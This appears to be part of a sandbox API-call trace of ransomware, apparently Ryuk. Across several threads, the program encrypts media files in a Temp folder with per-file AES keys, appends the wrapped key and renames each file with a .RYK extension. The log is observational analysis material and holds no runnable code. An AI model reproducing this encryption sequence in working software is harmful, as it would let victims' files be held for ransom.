	[0213.213] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RfdjvaFkFgE9qEv7bT.avi", dwFileAttributes=0x80) returned 1
	[0213.219] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RfdjvaFkFgE9qEv7bT.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rfdjvafkfge9qev7bt.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac
	[0213.219] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x977f978 | out: lpFileSize=0x977f978*=95452) returned 1
	[0213.219] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x977f988 | out: lpFileSize=0x977f988*=95452) returned 1
	[0213.219] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x173ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0213.219] ReadFile (in: hFile=0x6ac, lpBuffer=0x977f9d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x977f940, lpOverlapped=0x0 | out: lpBuffer=0x977f9d0*, lpNumberOfBytesRead=0x977f940*=0x19, lpOverlapped=0x0) returned 1
	[0213.222] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.222] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x977f958 | out: phKey=0x977f958*=0x2b8e30) returned 1
	[0213.222] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.222] ReadFile (in: hFile=0x6ac, lpBuffer=0x3590000, nNumberOfBytesToRead=0x174dc, lpNumberOfBytesRead=0x977f964, lpOverlapped=0x0 | out: lpBuffer=0x3590000*, lpNumberOfBytesRead=0x977f964*=0x174dc, lpOverlapped=0x0) returned 1
	[0213.224] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x977f960*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x977f960*=0xf4250) returned 1
	[0213.224] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3590000*, pdwDataLen=0x977f968*=0x174dc, dwBufLen=0xf4250 | out: pbData=0x3590000*, pdwDataLen=0x977f968*=0x174e0) returned 1
	[0213.224] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.225] WriteFile (in: hFile=0x6ac, lpBuffer=0x3590000*, nNumberOfBytesToWrite=0x174e0, lpNumberOfBytesWritten=0x977f964, lpOverlapped=0x0 | out: lpBuffer=0x3590000*, lpNumberOfBytesWritten=0x977f964*=0x174e0, lpOverlapped=0x0) returned 1
	[0213.226] WriteFile (in: hFile=0x6ac, lpBuffer=0x977f990*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x977f970, lpOverlapped=0x0 | out: lpBuffer=0x977f990*, lpNumberOfBytesWritten=0x977f970*=0x6, lpOverlapped=0x0) returned 1
	[0213.226] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x977f980 | out: pbData=0x0*, pdwDataLen=0x977f980*=0x10c) returned 1
	[0213.226] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x977f9f0, pdwDataLen=0x977f980 | out: pbData=0x977f9f0*, pdwDataLen=0x977f980*=0x10c) returned 1
	[0213.226] WriteFile (in: hFile=0x6ac, lpBuffer=0x977f9f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x977f970, lpOverlapped=0x0 | out: lpBuffer=0x977f9f0*, lpNumberOfBytesWritten=0x977f970*=0x10c, lpOverlapped=0x0) returned 1
	[0213.226] CloseHandle (hObject=0x6ac) returned 1
	[0213.228] CryptDestroyKey (hKey=0x2b8e30) returned 1
	[0213.228] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RfdjvaFkFgE9qEv7bT.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rfdjvafkfge9qev7bt.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RfdjvaFkFgE9qEv7bT.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rfdjvafkfge9qev7bt.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2170
	os_tid = 0x27c4

	[0213.231] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rraEpi1SleocmER-.wav", dwFileAttributes=0x80) returned 1
	[0213.232] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rraEpi1SleocmER-.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rraepi1sleocmer-.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac
	[0213.232] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x990f8f8 | out: lpFileSize=0x990f8f8*=17011) returned 1
	[0213.232] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x990f908 | out: lpFileSize=0x990f908*=17011) returned 1
	[0213.232] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x4151, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0213.232] ReadFile (in: hFile=0x6ac, lpBuffer=0x990f950, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x990f8c0, lpOverlapped=0x0 | out: lpBuffer=0x990f950*, lpNumberOfBytesRead=0x990f8c0*=0x19, lpOverlapped=0x0) returned 1
	[0213.235] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.235] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x990f8d8 | out: phKey=0x990f8d8*=0x2b8e30) returned 1
	[0213.235] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.235] ReadFile (in: hFile=0x6ac, lpBuffer=0x3690000, nNumberOfBytesToRead=0x4273, lpNumberOfBytesRead=0x990f8e4, lpOverlapped=0x0 | out: lpBuffer=0x3690000*, lpNumberOfBytesRead=0x990f8e4*=0x4273, lpOverlapped=0x0) returned 1
	[0213.237] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x990f8e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x990f8e0*=0xf4250) returned 1
	[0213.237] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3690000*, pdwDataLen=0x990f8e8*=0x4273, dwBufLen=0xf4250 | out: pbData=0x3690000*, pdwDataLen=0x990f8e8*=0x4280) returned 1
	[0213.238] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.238] WriteFile (in: hFile=0x6ac, lpBuffer=0x3690000*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x990f8e4, lpOverlapped=0x0 | out: lpBuffer=0x3690000*, lpNumberOfBytesWritten=0x990f8e4*=0x4280, lpOverlapped=0x0) returned 1
	[0213.238] WriteFile (in: hFile=0x6ac, lpBuffer=0x990f910*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x990f8f0, lpOverlapped=0x0 | out: lpBuffer=0x990f910*, lpNumberOfBytesWritten=0x990f8f0*=0x6, lpOverlapped=0x0) returned 1
	[0213.238] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x990f900 | out: pbData=0x0*, pdwDataLen=0x990f900*=0x10c) returned 1
	[0213.238] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x990f970, pdwDataLen=0x990f900 | out: pbData=0x990f970*, pdwDataLen=0x990f900*=0x10c) returned 1
	[0213.238] WriteFile (in: hFile=0x6ac, lpBuffer=0x990f970*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x990f8f0, lpOverlapped=0x0 | out: lpBuffer=0x990f970*, lpNumberOfBytesWritten=0x990f8f0*=0x10c, lpOverlapped=0x0) returned 1
	[0213.239] CloseHandle (hObject=0x6ac) returned 1
	[0213.849] CryptDestroyKey (hKey=0x2b8e30) returned 1
	[0213.849] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rraEpi1SleocmER-.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rraepi1sleocmer-.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rraEpi1SleocmER-.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rraepi1sleocmer-.wav.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2171
	os_tid = 0x27c8

	[0213.758] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ry6fZp6K Kz.wav", dwFileAttributes=0x80) returned 1
	[0213.760] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ry6fZp6K Kz.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ry6fzp6k kz.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b0
	[0213.760] GetFileSizeEx (in: hFile=0x6b0, lpFileSize=0x967f758 | out: lpFileSize=0x967f758*=80616) returned 1
	[0213.760] GetFileSizeEx (in: hFile=0x6b0, lpFileSize=0x967f768 | out: lpFileSize=0x967f768*=80616) returned 1
	[0213.761] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x139c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0213.761] ReadFile (in: hFile=0x6b0, lpBuffer=0x967f7b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x967f720, lpOverlapped=0x0 | out: lpBuffer=0x967f7b0*, lpNumberOfBytesRead=0x967f720*=0x19, lpOverlapped=0x0) returned 1
	[0213.763] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.764] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x967f738 | out: phKey=0x967f738*=0x2b90d0) returned 1
	[0213.764] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.764] ReadFile (in: hFile=0x6b0, lpBuffer=0x3790000, nNumberOfBytesToRead=0x13ae8, lpNumberOfBytesRead=0x967f744, lpOverlapped=0x0 | out: lpBuffer=0x3790000*, lpNumberOfBytesRead=0x967f744*=0x13ae8, lpOverlapped=0x0) returned 1
	[0213.768] CryptEncrypt (in: hKey=0x2b90d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x967f740*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x967f740*=0xf4250) returned 1
	[0213.768] CryptEncrypt (in: hKey=0x2b90d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3790000*, pdwDataLen=0x967f748*=0x13ae8, dwBufLen=0xf4250 | out: pbData=0x3790000*, pdwDataLen=0x967f748*=0x13af0) returned 1
	[0213.769] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.769] WriteFile (in: hFile=0x6b0, lpBuffer=0x3790000*, nNumberOfBytesToWrite=0x13af0, lpNumberOfBytesWritten=0x967f744, lpOverlapped=0x0 | out: lpBuffer=0x3790000*, lpNumberOfBytesWritten=0x967f744*=0x13af0, lpOverlapped=0x0) returned 1
	[0213.773] WriteFile (in: hFile=0x6b0, lpBuffer=0x967f770*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x967f750, lpOverlapped=0x0 | out: lpBuffer=0x967f770*, lpNumberOfBytesWritten=0x967f750*=0x6, lpOverlapped=0x0) returned 1
	[0213.773] CryptExportKey (in: hKey=0x2b90d0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x967f760 | out: pbData=0x0*, pdwDataLen=0x967f760*=0x10c) returned 1
	[0213.773] CryptExportKey (in: hKey=0x2b90d0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x967f7d0, pdwDataLen=0x967f760 | out: pbData=0x967f7d0*, pdwDataLen=0x967f760*=0x10c) returned 1
	[0213.773] WriteFile (in: hFile=0x6b0, lpBuffer=0x967f7d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x967f750, lpOverlapped=0x0 | out: lpBuffer=0x967f7d0*, lpNumberOfBytesWritten=0x967f750*=0x10c, lpOverlapped=0x0) returned 1
	[0213.774] CloseHandle (hObject=0x6b0) returned 1
	[0215.581] CryptDestroyKey (hKey=0x2b90d0) returned 1
	[0215.581] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ry6fZp6K Kz.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ry6fzp6k kz.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ry6fZp6K Kz.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ry6fzp6k kz.wav.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2172
	os_tid = 0x27cc

	[0213.852] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ss2b.mp4", dwFileAttributes=0x80) returned 1
	[0213.853] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ss2b.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ss2b.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c4
	[0213.853] GetFileSizeEx (in: hFile=0x6c4, lpFileSize=0x9aaf918 | out: lpFileSize=0x9aaf918*=97018) returned 1
	[0213.853] GetFileSizeEx (in: hFile=0x6c4, lpFileSize=0x9aaf928 | out: lpFileSize=0x9aaf928*=97018) returned 1
	[0213.853] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x179d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0213.854] ReadFile (in: hFile=0x6c4, lpBuffer=0x9aaf970, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9aaf8e0, lpOverlapped=0x0 | out: lpBuffer=0x9aaf970*, lpNumberOfBytesRead=0x9aaf8e0*=0x19, lpOverlapped=0x0) returned 1
	[0213.856] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.856] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x9aaf8f8 | out: phKey=0x9aaf8f8*=0x2b8e30) returned 1
	[0213.856] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.857] ReadFile (in: hFile=0x6c4, lpBuffer=0x3890000, nNumberOfBytesToRead=0x17afa, lpNumberOfBytesRead=0x9aaf904, lpOverlapped=0x0 | out: lpBuffer=0x3890000*, lpNumberOfBytesRead=0x9aaf904*=0x17afa, lpOverlapped=0x0) returned 1
	[0213.863] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9aaf900*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9aaf900*=0xf4250) returned 1
	[0213.863] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3890000*, pdwDataLen=0x9aaf908*=0x17afa, dwBufLen=0xf4250 | out: pbData=0x3890000*, pdwDataLen=0x9aaf908*=0x17b00) returned 1
	[0213.864] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0213.864] WriteFile (in: hFile=0x6c4, lpBuffer=0x3890000*, nNumberOfBytesToWrite=0x17b00, lpNumberOfBytesWritten=0x9aaf904, lpOverlapped=0x0 | out: lpBuffer=0x3890000*, lpNumberOfBytesWritten=0x9aaf904*=0x17b00, lpOverlapped=0x0) returned 1
	[0213.865] WriteFile (in: hFile=0x6c4, lpBuffer=0x9aaf930*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9aaf910, lpOverlapped=0x0 | out: lpBuffer=0x9aaf930*, lpNumberOfBytesWritten=0x9aaf910*=0x6, lpOverlapped=0x0) returned 1
	[0213.865] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9aaf920 | out: pbData=0x0*, pdwDataLen=0x9aaf920*=0x10c) returned 1
	[0213.865] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x9aaf990, pdwDataLen=0x9aaf920 | out: pbData=0x9aaf990*, pdwDataLen=0x9aaf920*=0x10c) returned 1
	[0213.865] WriteFile (in: hFile=0x6c4, lpBuffer=0x9aaf990*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9aaf910, lpOverlapped=0x0 | out: lpBuffer=0x9aaf990*, lpNumberOfBytesWritten=0x9aaf910*=0x10c, lpOverlapped=0x0) returned 1
	[0213.865] CloseHandle (hObject=0x6c4) returned 1
	[0215.774] CryptDestroyKey (hKey=0x2b8e30) returned 1
	[0215.774] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ss2b.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ss2b.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ss2b.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ss2b.mp4.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2233
	os_tid = 0x2840

	[0215.500] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\TaYG.png", dwFileAttributes=0x80) returned 1
	[0215.502] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\TaYG.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tayg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c4
	[0215.502] GetFileSizeEx (in: hFile=0x6c4, lpFileSize=0x8c8f878 | out: lpFileSize=0x8c8f878*=76933) returned 1
	[0215.502] GetFileSizeEx (in: hFile=0x6c4, lpFileSize=0x8c8f888 | out: lpFileSize=0x8c8f888*=76933) returned 1
	[0215.502] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x12b63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0215.502] ReadFile (in: hFile=0x6c4, lpBuffer=0x8c8f8d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c8f840, lpOverlapped=0x0 | out: lpBuffer=0x8c8f8d0*, lpNumberOfBytesRead=0x8c8f840*=0x19, lpOverlapped=0x0) returned 1
	[0215.505] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.505] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8c8f858 | out: phKey=0x8c8f858*=0x2b9220) returned 1
	[0215.505] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.505] ReadFile (in: hFile=0x6c4, lpBuffer=0x2690000, nNumberOfBytesToRead=0x12c85, lpNumberOfBytesRead=0x8c8f864, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8c8f864*=0x12c85, lpOverlapped=0x0) returned 1
	[0215.507] CryptEncrypt (in: hKey=0x2b9220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c8f860*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c8f860*=0xf4250) returned 1
	[0215.507] CryptEncrypt (in: hKey=0x2b9220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8c8f868*=0x12c85, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x8c8f868*=0x12c90) returned 1
	[0215.508] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0215.508] WriteFile (in: hFile=0x6c4, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0x12c90, lpNumberOfBytesWritten=0x8c8f864, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8c8f864*=0x12c90, lpOverlapped=0x0) returned 1
	[0215.508] WriteFile (in: hFile=0x6c4, lpBuffer=0x8c8f890*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8c8f870, lpOverlapped=0x0 | out: lpBuffer=0x8c8f890*, lpNumberOfBytesWritten=0x8c8f870*=0x6, lpOverlapped=0x0) returned 1
	[0215.509] CryptExportKey (in: hKey=0x2b9220, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8c8f880 | out: pbData=0x0*, pdwDataLen=0x8c8f880*=0x10c) returned 1
	[0215.509] CryptExportKey (in: hKey=0x2b9220, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8c8f8f0, pdwDataLen=0x8c8f880 | out: pbData=0x8c8f8f0*, pdwDataLen=0x8c8f880*=0x10c) returned 1
	[0215.509] WriteFile (in: hFile=0x6c4, lpBuffer=0x8c8f8f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8c8f870, lpOverlapped=0x0 | out: lpBuffer=0x8c8f8f0*, lpNumberOfBytesWritten=0x8c8f870*=0x10c, lpOverlapped=0x0) returned 1
	[0215.509] CloseHandle (hObject=0x6c4) returned 1
	[0215.511] CryptDestroyKey (hKey=0x2b9220) returned 1
	[0215.511] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\TaYG.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tayg.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\TaYG.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tayg.png.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2234
	os_tid = 0x2844

